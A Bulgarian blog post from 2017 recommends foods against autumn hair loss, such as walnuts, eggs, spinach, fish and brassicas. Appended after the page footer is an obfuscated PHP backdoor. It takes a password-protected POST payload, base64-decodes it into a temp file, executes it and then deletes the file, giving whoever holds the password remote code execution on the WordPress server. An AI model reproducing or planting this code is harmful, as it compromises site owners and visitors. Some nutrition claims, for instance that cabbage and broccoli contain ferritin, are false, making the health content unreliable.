Специална диета срещу есенен косопад! Виж Тук: | Косопад

Специална диета срещу есенен косопад! Виж Тук:

През есента косопадът става особено силен и започва да ни притеснява. Какво можем да направим?
Храненето е сред основните фактори, които могат да ни помогнат при този проблем. Храните, които имат най- ефективно действие срещу косопад, са:

Орехи. Съдържат мазнини, които поддържат еластина в косъма и стимулират растежа. Ако не приемаме достатъчно омега- 3 мазнини, косата става тънка и пада. Орехите съдържат също цинк, селен и витамини от В групата, които имат доказано въздействие срещу косопада.
Яйца. Съдържат биотин – едно от най- важните вещества за косата. Съдържат още протеини, витамин В12, желязо, цинк, омега – 6 мазнини, големи дози витамин В7, който е много ефективен срещу косопада. Дефицит на витамини от В група влошава състоянието на косата, изтънява косата и води до косопад.
Спанак. Недостига на желязо е сред основните причини за косопад. Спанакът съдържа и други полезни вещества за косата като: фолиева киселина, бетакаротени и витамини В.
Сьомга и бяла риба. Бялата и тлъстата риба, като например сьомга, сардини, мерлуза, са богати на магнезий, който помага за растежа на косата. Дефицитът от този минерал причинява силен косопад.

Моркови и тиква. Богати са на витамин А и бетакаротени. Поддържат естествените мазнини на косата, предпазват я от изсушаване, за да расте здрава и блестяща.
Зеле, карфиол, броколи, кале. Тези зеленчуци са богати на веществото феритин, което помага да имаме достатъчно желязо в кръвта. Съдържа също витамини А, В, С, К. Минерали като калций и калий.
Кисело мляко. Много е полезно, за да имаме здрава коса. Нискомасленото кисело мляко съдържа витамин Д и В5, които са много важни за косата.
Бобови култури, семена, бяло и червено месо. Съдържат протеини, желязо, цинк и биотин, а също и витамин В.
Морски дарове. Богати са на мед, селен и цинк, който помага за синтеза на меланин.
Бадеми. Съдържат магнезий, който активира важни ензимни реакции, които ни предпазват от косопада и правят косата силна.
Овес и други пълнозърнести култури. Богати са на цинк, желязо, мастни киселини, които помагат за растежа на косата. Добре е да ги включваме в сутрешната си закуска 2-3 пъти седмично.

13. октомври 2017 10:31:40 от Надя Колева
Категории: Любопитно за косопада | Етикети: , , , , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}